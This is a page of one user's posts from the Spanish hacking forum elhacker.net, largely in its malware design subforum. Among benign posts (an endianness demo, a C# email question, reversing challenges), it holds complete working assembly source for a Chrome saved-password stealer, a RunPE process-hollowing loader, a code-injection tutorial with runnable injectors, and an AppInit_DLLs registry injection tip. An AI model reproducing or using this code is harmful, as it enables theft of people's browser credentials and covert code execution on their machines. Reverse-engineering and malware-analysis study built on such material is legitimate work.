elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


Tema destacado: Entrar al Canal Oficial Telegram de elhacker.net


  Mostrar Temas
Páginas: 1 2 3 4 [5] 6 7 8 9 10
41  Foros Generales / Foro Libre / Cuarto Milenio. en: 1 Febrero 2016, 01:29 am
Bueno, pues, esto es solo una curiosidad.

¿Cuantos de ustedes siguen este programa?

Me parece un programa interesantisimo y lo sigo desde hace años.

saludos.
42  Seguridad Informática / Análisis y Diseño de Malware / Inyección DLL por registro. en: 27 Enero 2016, 00:56 am
Bueno, creo que esto no se ha hablado por aquí aunque es un poco viejuno :P

Se trata de modificar un valor  de esta ruta del registro:

Código:
HKEY_LOCAL_MACHINES\Software\Microsoft\WindowsNT\CurrentVersion\Windows\


El valor AppInit_DLLs. En el pondrémos la ruta de nuestra DLL. Nuestra DLL será cargada cuando inicie una aplicación y cargue USER32.DLL.

saludos. :P
43  Programación / Ingeniería Inversa / [RETO] Febrero 2016 en: 25 Enero 2016, 21:20 pm
Las reglas:

https://foro.elhacker.net/ingenieria_inversa/retos_mensuales_de_reversing-t371874.0.html

1- A.ZIP: Nivel 1.
http://www.mediafire.com/download/66tf5di5dv4drwf/a.zip

2 - Level-4.ZIP: Nivel 1.
http://www.mediafire.com/download/lj4sg9n279c8mts/level-4.zip

3 - SA_Lock_System_-_CrackMe_-_0x90.ZIP: Nivel 1.
http://www.mediafire.com/download/8h7k24wobrvs7lb/C1-SA_Lock_System_-_CrackMe_-_0x90.zip

4- Kgm#1.ZIP: Nivel 2.
http://www.mediafire.com/download/x5cwxr6wc7xn6cw/Kgm%231.zip

Fuente de los crackmes: crackmes.de

saludos!!
44  Seguridad Informática / Análisis y Diseño de Malware / [ASM] Stealer Google Chrome. en: 21 Enero 2016, 08:58 am
Bueno, antes de nada este código se lo quiero dedicar a kub0x, que le gustan los códigos en ensamblador  :laugh:

Es un Stealer del navegador Google Chrome, funcional con la última versión.



Código fuente:

Código
  1. ; Stealer Google Chrome
  2. ; Programado por Juan fary.
  3. ; Flat Assembler.
  4.  
  5. format PE Console 4.0
  6. entry start
  7. include 'win32ax.inc'
  8.  
  9. section '.data' data readable writeable
  10.        ruta         db '\Local\Google\Chrome\User Data\Default\Login Data',0
  11.        query        db 'SELECT origin_url, username_value, password_value FROM logins',0
  12.  
  13.        bd           dd ?
  14.        stmt         dd ?
  15.  
  16.        URL          db 'URL: %s',10,13,0
  17.        Usuario      db 'Usuario: %s',10,13,0
  18.        PASS         db 'PASS: %s',10,13,0
  19.  
  20.        struct DATA_BLOB
  21.               cbData   dd ?
  22.               pbData   dd ?
  23.        ends
  24.  
  25.        datain      DATA_BLOB
  26.        dataout     DATA_BLOB
  27.  
  28.        buffer      rb 255
  29.  
  30.        barra       db '-----------------------------------------------------',10,13,0
  31.  
  32.        BufferRuta  rb 512
  33.        APPDATA     db 'APPDATA',0
  34.  
  35. section '.code' code readable executable
  36. start:
  37.        invoke GetEnvironmentVariableA, APPDATA, BufferRuta,512
  38.        invoke lstrcat, BufferRuta, ruta
  39.  
  40.        cinvoke sqlite3_open, BufferRuta, bd
  41.        cmp eax, 0 ; eax = SQLITE_OK
  42.        jne salir
  43.  
  44.        cinvoke sqlite3_prepare_v2, [bd] , query, -1 ,stmt,0
  45.        cmp eax, 0 ; eax = SQLITE_OK
  46.        jne salir
  47.  
  48.    BuclePass:
  49.        cinvoke sqlite3_step, [stmt]
  50.        cmp eax, 100 ; eax = SQLITE_ROW
  51.        jne salir
  52.  
  53.        cinvoke printf,barra
  54.  
  55.        cinvoke sqlite3_column_text , [stmt], 0  ; URL
  56.        cinvoke printf,URL,eax
  57.  
  58.        cinvoke sqlite3_column_text , [stmt], 1  ; USUARIO
  59.        cinvoke printf,Usuario,eax
  60.  
  61.        cinvoke sqlite3_column_text , [stmt], 2  ; Contraseña
  62.  
  63.        mov [datain.pbData], eax
  64.        mov [datain.cbData], 512
  65.  
  66.        invoke CryptUnprotectData , datain, 0, 0, 0, 0, 0, dataout
  67.  
  68.        mov ecx, -1
  69.     BucleNull:
  70.        mov edx, [dataout.pbData]
  71.        inc ecx
  72.  
  73.        cmp byte[edx+ecx],0x08
  74.        jne BucleNull
  75.  
  76.        mov byte[edx+ecx],0
  77.  
  78.        cinvoke printf, PASS, [dataout.pbData]
  79.  
  80.        cinvoke printf,barra
  81.  
  82.        jmp BuclePass
  83.  
  84.        salir:
  85.        cinvoke system,'PAUSE'
  86.        ret
  87.  
  88. section '.idata' import data readable writeable
  89.  
  90.        library  sqlite3, 'sqlite3.dll',\
  91.                 msvcrt, 'msvcrt.dll',\
  92.                 Crypt32, 'Crypt32.dll',\
  93.                 KERNEL32, 'KERNEL32.DLL'
  94.  
  95.        import sqlite3,\
  96.               sqlite3_open, 'sqlite3_open',\
  97.               sqlite3_prepare_v2, 'sqlite3_prepare_v2',\
  98.               sqlite3_column_text, 'sqlite3_column_text',\
  99.               sqlite3_step, 'sqlite3_step'
  100.  
  101.        import msvcrt,\
  102.               printf, 'printf',\
  103.               memcpy,'memcpy',\
  104.               system, 'system'
  105.  
  106.        import Crypt32,\
  107.               CryptUnprotectData, 'CryptUnprotectData'
  108.  
  109.        import KERNEL32,\
  110.               GetEnvironmentVariableA, 'GetEnvironmentVariableA',\
  111.               lstrcat, 'lstrcatA'

saludos.


45  Programación / ASM / Little-Endian Big-Endian en: 18 Enero 2016, 23:41 pm
Esto es solo una curiosida ampliando los datos de la wikipedia.

Código:
https://es.wikipedia.org/wiki/Endianness

En ASM.

Código
  1. ; Little-Endian ó Big-Endian
  2. ; Juan fary.
  3.  
  4. format PE Console 4.0
  5. entry start
  6. include 'win32ax.inc'
  7.  
  8. section '.data' data readable writeable
  9.        numero          dw 1
  10.  
  11.        little_endian   db 'Little-Endian!',0
  12.        big_endian      db 'Big-Endian!',0
  13.  
  14. section '.code' code readable writeable executable
  15. start:
  16.  
  17.        mov al, byte[numero]
  18.  
  19.        cmp al,1
  20.        jne Big
  21.  
  22.        invoke MessageBoxA,0,little_endian,0,MB_OK
  23.        ret
  24.  
  25.        Big:
  26.        invoke MessageBoxA,0,big_endian,0,MB_OK
  27.        ret
  28.  
  29.  
  30. section '.idata' import data readable writeable
  31.    library User32,'User32.dll'
  32.  
  33.    import User32,\
  34.           MessageBoxA,'MessageBoxA'    

saludos.
46  Seguridad Informática / Análisis y Diseño de Malware / Formato PE. en: 18 Enero 2016, 01:19 am
¿Qué es el formato PE?

Según wikipedia:

Citar
El formato Portable Executable (PE) es un formato de archivo para archivos ejecutables, de código objeto, bibliotecas de enlace dinámico (DLL), archivos de fuentes FON, y otros usados en versiones de 32 bit y 64 bit del sistema operativo Microsoft Windows.

En palabras sencillas, es la estructura que tienen los archivos ejecutables.



¿Para qué nos sirve en malware?

Pues teniendo conocimientos del PE podemos desde infectar un ejecutable, hasta cargarlo en memoria sin que toque el disco (RunPE), cargar funciones sin importarlas, en fin, una seria de ventajas que sin su conocimiento no sería posible hacer o sería posible pero de mala manera.



Manuales

-Manual Formato PE - The Swash

-Importando funciones manualmente.   -> https://www.mediafire.com/file/hpbtm61ms4o9iet/1330-IMPORTANDO_FUNCIONES_MANUALMENTE_-_The_Swash.rar/file

-Relocaciones en ejecutables.   -> https://www.mediafire.com/file/l2jp79c06jgfs58/1331-RELOCACIONES_EN_EJECUTABLES_por_The_Swash.rar/file

Talleres

-Taller Secciones formato PE - The Swash

-Taller formato PE - Ferchu

-Cifrando Malware a mano - Zero.

-LoadLibrary Manual - Yuki

Códigos

-Ret Exe Corruption - Karcrack

-Runpe en ASM - fary.

-Base Relocation - Zero.

-Infección por TLS - The Swash.



Más documentación:

https://elhacker.info/manuales/PE/

Si se me escapa algo más por ahí, avisar!
47  Seguridad Informática / Análisis y Diseño de Malware / [ASM] RunPE en: 18 Enero 2016, 00:46 am
Bueno, nunca encontre un RunPE hecho en ASM, asique hace un tiempo lo programe yo mismo.
Se los dejo por aquí...


Código
  1. ; // RunPE
  2. ; // Programado por Juan fary (mDrinky)
  3. ; // drinky.94@hotmail.com
  4.  
  5. format PE GUI 4.0
  6. include 'win32ax.inc'
  7. entry start
  8.  
  9. section '.data' readable writeable
  10.  
  11.        struct CONTEXT
  12.               ContextFlags             dd ?
  13.               Dr0                      dd ?
  14.               Dr1                      dd ?
  15.               Dr2                      dd ?
  16.               Dr3                      dd ?
  17.               Dr6                      dd ?
  18.               Dr7                      dd ?
  19.               FloatSave                dd ?
  20.               SegGs                    dd ?
  21.               SegFs                    dd ?
  22.               SegEs                    dd ?
  23.               SegDs                    dd ?
  24.               Edi                      dd ?
  25.               Esi                      dd ?
  26.               Ebx                      dd ?
  27.               Edx                      dd ?
  28.               Ecx                      dd ?
  29.               Eax                      dd ?
  30.               Ebp                      dd ?
  31.               Eip                      dd ?
  32.               SegCs                    dd ?
  33.               EFlags                   dd ?
  34.               Esp                      dd ?
  35.               SegSs                    dd ?
  36.               ExtendedRegisters        rb 512
  37.        ends
  38.  
  39.        calc            db 'c:\windows\system32\calc.exe',0
  40.        bleidos         dd 0
  41.        Datos           dd 0
  42.        Espacio         dd 0
  43.  
  44.        _SI                   STARTUPINFO ?
  45.        _PI                   PROCESS_INFORMATION ?
  46.        CTX                   CONTEXT ?
  47.  
  48.        Param2          dd 0
  49.  
  50.        ; Datos PE
  51.        imagebase       dd ?
  52.        sizeofheaders   dd ?
  53.        sizeofimage     dd ?
  54.        numseciones     dd ?
  55.  
  56.  
  57. section '.code' executable readable writeable
  58. start:
  59.        invoke CreateProcessA,calc,0,0,0,FALSE,CREATE_SUSPENDED,0,0,_SI,_PI
  60.  
  61.        invoke CreateFileA,calc, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0      ; nos autoleemos
  62.        mov ebx,eax
  63.        invoke GetFileSize,ebx,0
  64.        mov edi,eax
  65.        invoke GlobalAlloc,GPTR,edi
  66.        push eax
  67.        invoke ReadFile,ebx,eax,edi,addr bleidos,0
  68.        invoke CloseHandle,ebx
  69.        pop eax
  70.  
  71.        mov [Datos],eax
  72.  
  73.        cmp word[eax],'MZ'
  74.        jne salir
  75.  
  76.        add eax,dword[eax+0x3C]  ; PE
  77.  
  78.        cmp word[eax],'PE'
  79.        jne salir
  80.  
  81.        push dword[eax+0x34] ; imagebase
  82.        pop [imagebase]
  83.  
  84.        push dword[eax+0x54] ; sizeofheaders
  85.        pop [sizeofheaders]
  86.  
  87.        push dword[eax+0x50]
  88.        pop [sizeofimage]    ; sizeofimage
  89.  
  90.        movzx ebx,word[eax+0x6] ; numero de secciones
  91.        mov [numseciones],ebx
  92.  
  93.        push eax  ; guardamos ya EAX para el final
  94.  
  95.        push eax
  96.        invoke NtUnmapViewOfSection,[_PI.hProcess],[imagebase]
  97.        invoke VirtualAllocEx,[_PI.hProcess],[imagebase],[sizeofimage],0x3000, PAGE_EXECUTE_READWRITE
  98.        mov [Espacio],eax
  99.        invoke WriteProcessMemory,[_PI.hProcess],eax,[Datos],[sizeofheaders],0
  100.        pop eax
  101.  
  102.        mov ecx,0
  103.  
  104.        add eax,0xF8 ; posicionamos en las cabeceras de sección
  105.  
  106.        EscribirSecciones:
  107.  
  108.        inc ecx
  109.  
  110.        push ecx
  111.        push eax
  112.  
  113.        mov ebx,eax
  114.        mov ebx,dword[ebx+0xC]      ; imagebase
  115.        add ebx,[imagebase]
  116.  
  117.        mov [Param2],ebx
  118.  
  119.        mov ebx,eax
  120.        mov ebx,dword[ebx+0x14]
  121.        mov edx,[Datos]
  122.        add edx,ebx
  123.  
  124.        mov ebx,eax
  125.        mov ebx,dword[ebx+0x10]
  126.  
  127.        invoke WriteProcessMemory,[_PI.hProcess],[Param2],edx,ebx,0
  128.  
  129.        pop eax
  130.        pop ecx
  131.  
  132.        add eax,0x28  ; Siguiente IMAGE_SECTION_HEADER
  133.  
  134.        cmp ecx,[numseciones]
  135.        jne EscribirSecciones
  136.  
  137.        invoke GetThreadContext,[_PI.hProcess],CTX
  138.  
  139.        invoke WriteProcessMemory,[_PI.hProcess],dword[CTX.Ebx+8],imagebase,0x4,0
  140.  
  141.        pop eax
  142.  
  143.        add eax,dword[eax+0x3C]
  144.        mov eax,dword[eax+0x28]
  145.  
  146.        mov [CTX.Eax],eax ; EntryPoint
  147.  
  148.        invoke SetThreadContext,[_PI.hProcess],CTX
  149.  
  150.        invoke ResumeThread,[_PI.hThread]
  151.  
  152.        salir:
  153.        ret
  154.  
  155. section '.idata' import data readable writeable
  156.        library NTDLL,'NTDLL.DLL',\
  157.                KERNEL32,'KERNEL32.DLL'
  158.  
  159.        import KERNEL32,\
  160.                CreateProcessA,'CreateProcessA',\
  161.                CreateFileA,'CreateFileA',\
  162.                GetFileSize,'GetFileSize',\
  163.                GlobalAlloc,'GlobalAlloc',\
  164.                ReadFile,'ReadFile',\
  165.                CloseHandle,'CloseHandle',\
  166.                VirtualAllocEx,'VirtualAllocEx',\
  167.                WriteProcessMemory,'WriteProcessMemory',\
  168.                GetThreadContext,'GetThreadContext',\
  169.                SetThreadContext,'SetThreadContext',\
  170.                ResumeThread,'ResumeThread'
  171.  
  172.        import NTDLL,NtUnmapViewOfSection,'NtUnmapViewOfSection'
48  Seguridad Informática / Análisis y Diseño de Malware / Inyecciones de código en memoria en: 6 Enero 2016, 23:26 pm
Inyecciones de código en memoria

Conocimientos previos:
     
-ASM
      -WinApi

Contenido:
1-   ¿Qué es la inyección de código en memoria?
2-   ¿Cómo realizarla?
     2.1- Teoría
     2.2 -Práctica
3-   Ejemplos de inyecciones
4-   Despedida


1- ¿Qué es la inyección de código en memoria?

La inyección de código en memoria consiste  en que otro proceso ejecute el código que nosotros queramos.


2- ¿Cómo realizarla?

2.1 - Teoria
Para realizar la inyección lo que haremos será crear   un espacio en el proceso donde queremos inyectar el código  con la api VirtualAllocEx a continuación escribiremos nuestro código con WriteProcessMemory y finalmente lanzamos el hilo con CreateRemoteThread

2.2- Práctica
Para poner en práctica la teoría anterior vamos a inyectar nuestra funcion en el proceso del buscaminas y haremos que nuestra función haga un MessageBox:

Código
  1. format PE GUI 4.0
  2. entry start
  3.  
  4. include 'win32ax.inc'
  5.  
  6.        Ventana db 'Buscaminas',0
  7.        idproc dd ?
  8.        ID dd ?
  9.  
  10.        TamFun dd ?
  11.        DirFun dd ?
  12.  
  13. start:
  14.        invoke FindWindow,NULL,Ventana
  15.        invoke GetWindowThreadProcessId,eax,addr idproc   ;idproc = identficador del proceso
  16.        invoke OpenProcess,PROCESS_ALL_ACCESS,0,[idproc]
  17.        mov [ID],eax
  18.  
  19.        invoke LoadLibrary,"user32.dll" ;cargamos user32.dll
  20.        invoke GetProcAddress,eax,"MessageBoxA" ;obtenemos la dirección de la api
  21.        mov [mMessageBoxA],eax  ; movemos la dirección de la api a la variable que hay dentro de la funcion qeu inyectaremos
  22.  
  23.        mov eax,final  ;Obtenemos el tamaño de la función
  24.        sub eax,Inyectado
  25.        mov [TamFun],eax
  26.  
  27.        invoke VirtualAllocEx,[ID],0,[TamFun],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE  ;generamos el espacio dentro del proceso
  28.        mov [DirFun],eax
  29.        invoke WriteProcessMemory,[ID],eax,Inyectado,[TamFun],0 ;escribimos nuestro código en el proceso
  30.        invoke CreateRemoteThread,[ID],0,0,[DirFun],0,0,0  ;Lanzamos el hilo.
  31.  
  32.        ret
  33.  
  34.        proc Inyectado
  35.             call offset  ;Técnica del offset delta.
  36.             offset:
  37.             pop ebx
  38.             sub ebx,offset
  39.             push ebx ebx
  40.             pop ecx edx
  41.  
  42.             add ecx,titulo
  43.             add edx,cuerpo
  44.  
  45.             push 0
  46.             push ecx
  47.             push edx
  48.             push 0
  49.  
  50.             call [ebx+mMessageBoxA]
  51.  
  52.  
  53.             ret
  54.  
  55.             titulo db 'Me inyecte!',0
  56.             cuerpo db 'Este Mensage sale del buscaminas ^^',0
  57.  
  58.             mMessageBoxA dd ? ;variable que contiene la dirección de MessageBoxA@user32.dll
  59.        endp
  60.        final:
  61.  
  62. data import
  63.     library kernel32,'Kernel32.dll',\
  64.             user32,'user32.dll'
  65.  
  66.     import user32,MessageBoxA,'MessageBoxA',\
  67.            FindWindow,'FindWindowA',\
  68.            GetWindowThreadProcessId,'GetWindowThreadProcessId'
  69.  
  70.     import kernel32,OpenProcess,'OpenProcess',\
  71.            GetModuleHandle,'GetModuleHandleA',\
  72.            GetProcAddress,'GetProcAddress',\
  73.            VirtualAllocEx,'VirtualAllocEx',\
  74.            WriteProcessMemory,'WriteProcessMemory',\
  75.            CreateRemoteThread,'CreateRemoteThread',\
  76.            LoadLibrary,'LoadLibraryA'
  77. end data  

Como se puede apreciar no es muy difícil pero si plantea un problema grande y es que  nuestro ejecutable sabe en que dirección se encuentra la variable mMessageBoxA cuando compilamos pero al inyectar el código la dirección de la variable cambiara… y nuestra función fallara -_- para eso se usa la tecnica del Delta Offset para recalcular la dirección de las variables y que nuestro código se ejecute bien este en la dirección que este. Para entender que hace el delta Offset pinchar Aquí

3- Ejemplo de inyecciónes

Un simple ejemplo que lanza la calculadora, se inyecta en su proceso cambia el nombre a la ventana y hace un MessageBox

Código
  1. Format PE GUI 4.0
  2. entry start
  3. include 'win32ax.inc'
  4.  
  5. calc db 'c:\windows\system32\calc.exe',0
  6. pi PROCESS_INFORMATION ?
  7. sin STARTUPINFO ?
  8. TamFun dd ?  ;tamaño de la funcion...
  9. DirFun dd ? ; dirección de la funcion
  10. DirUser dd ?
  11.  
  12. start:
  13.        invoke CreateProcessA,0,calc,0,0,0,0,0,0,sin,pi
  14.        invoke Sleep,2000
  15.        invoke LoadLibrary,"user32.dll"
  16.        mov [DirUser],eax
  17.  
  18.        invoke GetProcAddress,[DirUser],"MessageBoxA"
  19.        mov [mMessageBoxA],eax
  20.        invoke GetProcAddress,[DirUser],"FindWindowA"
  21.        mov [mFindWindow],eax
  22.        invoke GetProcAddress,[DirUser],"SetWindowTextA"
  23.        mov [mSetWindowTextA],eax
  24.  
  25.        mov ebx,final  ;obtenemos el Tamaño de la función
  26.        sub ebx,Inyectada
  27.        mov [TamFun],ebx
  28.  
  29.        invoke VirtualAllocEx,[pi.hProcess],0,[TamFun],MEM_COMMIT+MEM_RESERVE,PAGE_EXECUTE_READWRITE
  30.        mov [DirFun],eax
  31.        invoke WriteProcessMemory,[pi.hProcess],eax,Inyectada,[TamFun],0
  32.        invoke CreateRemoteThread,[pi.hProcess],0,0,[DirFun],0,0,0
  33.        ret
  34.  
  35.        proc Inyectada
  36.                call offset
  37.                offset:
  38.                pop ebx
  39.                sub ebx,offset
  40.                push ebx
  41.                pop ecx
  42.  
  43.                add ecx,Calculadora
  44.  
  45.                push ecx
  46.                push NULL
  47.                call [ebx+mFindWindow]
  48.  
  49.                push ebx
  50.                pop ecx
  51.  
  52.                add ecx, TituloVen
  53.  
  54.                push ecx
  55.                push eax
  56.                call [ebx+mSetWindowTextA]
  57.  
  58.                push ebx ebx
  59.                pop edx ecx
  60.  
  61.                add ecx,TituloMsg
  62.                add edx,CuerpoMsg
  63.  
  64.                push 0
  65.                push ecx
  66.                push edx
  67.                push 0
  68.  
  69.                call [ebx+mMessageBoxA]
  70.                ret
  71.  
  72.                TituloMsg db 'Inyectado!',0
  73.                CuerpoMsg db 'El código inyectado Cambio el nombre a la ventana',0
  74.                TituloVen db 'Este es un título falso',0
  75.                Calculadora db 'Calculadora',0
  76.  
  77.                mMessageBoxA dd ?  ;Dirección MessageBox
  78.                mFindWindow dd ?   ;dirección fundwindow
  79.                mSetWindowTextA  dd ? ;Dirección de SetWindowText
  80.        endp
  81.        final:
  82. data import
  83.     library kernel32,'kernel32.dll'
  84.  
  85.     import kernel32,CreateProcessA,'CreateProcessA',\
  86.            Sleep,'Sleep',\
  87.            GetModuleHandle,'GetModuleHandleA',\
  88.            GetProcAddress,'GetProcAddress',\
  89.            VirtualAllocEx,'VirtualAllocEx',\
  90.            WriteProcessMemory,'WriteProcessMemory',\
  91.            CreateRemoteThread,'CreateRemoteThread',\
  92.            LoadLibrary,'LoadLibraryA'
  93. end data    

4- Despedida
Bueno, ya solo queda la despedida…. Jajaja pues eso que espero que les sea utíl  el tuto, la barrera de lo que podais hacer con las inyecciones de código la poneis vosotros ;)

Saludos.
49  Programación / .NET (C#, VB.NET, ASP) / Email y C#. en: 4 Enero 2016, 17:31 pm
Buenas, alguien sabe alguna manera de enviar un correo desde C#?

He probado de la siguiente manera y no lo consigo, el servidor me responde que necesito una conexion segura.

Código
  1. using System;
  2. using System.Net.Mail;
  3. using System.Net;
  4.  
  5. namespace Email
  6. {
  7.    class Program
  8.    {
  9.        static void Main(string[] args)
  10.        {
  11.            MailMessage email = new MailMessage();
  12.            MailAddress emisor = new MailAddress("x@gmail.com");
  13.  
  14.            email.Subject = "desde c#";
  15.            email.To.Add("x4@hotmail.com");
  16.            email.From =  emisor;
  17.            email.Body = "Este es el cuerpo del mensaje";
  18.  
  19.            SmtpClient SMTP = new SmtpClient("smtp.gmail.com");
  20.            NetworkCredential credenciales = new NetworkCredential("x@gmail.com","xxx");
  21.  
  22.            SMTP.Port = 587;
  23.            SMTP.EnableSsl = true;
  24.            SMTP.Credentials = credenciales;
  25.  
  26.            try
  27.            {
  28.                SMTP.Send(email);
  29.                Console.WriteLine("Enviado!");
  30.            }
  31.            catch (Exception e)
  32.            {
  33.                Console.WriteLine(e.Message);
  34.            }
  35.  
  36.            Console.Read();
  37.  
  38.        }
  39.    }
  40. }
  41.  

saludos.
50  Seguridad Informática / Análisis y Diseño de Malware / Anubis Killer PE v0.1 Binario+Source en: 31 Diciembre 2015, 12:18 pm
¿Cuantas veces te preguntaste como funciona el RunPE Killer de psymera?

Bién pues ahora lo puedes descubrir, he creado este programa que funciona de forma similar. Es decir, desempaqueta el archivo que contiene un cripter.



Entorno gráfico programado en C y la DLL en FASM.

Espero que lo disfruten y aprendan.

Descarga Binario:
http://www.mediafire.com/download/3f7nyj0hs96hi1t/KillerPEv0.1.rar

Descarga Source:
http://www.mediafire.com/download/0etz5z2v7djchvc/Killer+PE.rar

saludos :P

Páginas: 1 2 3 4 [5] 6 7 8 9 10
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines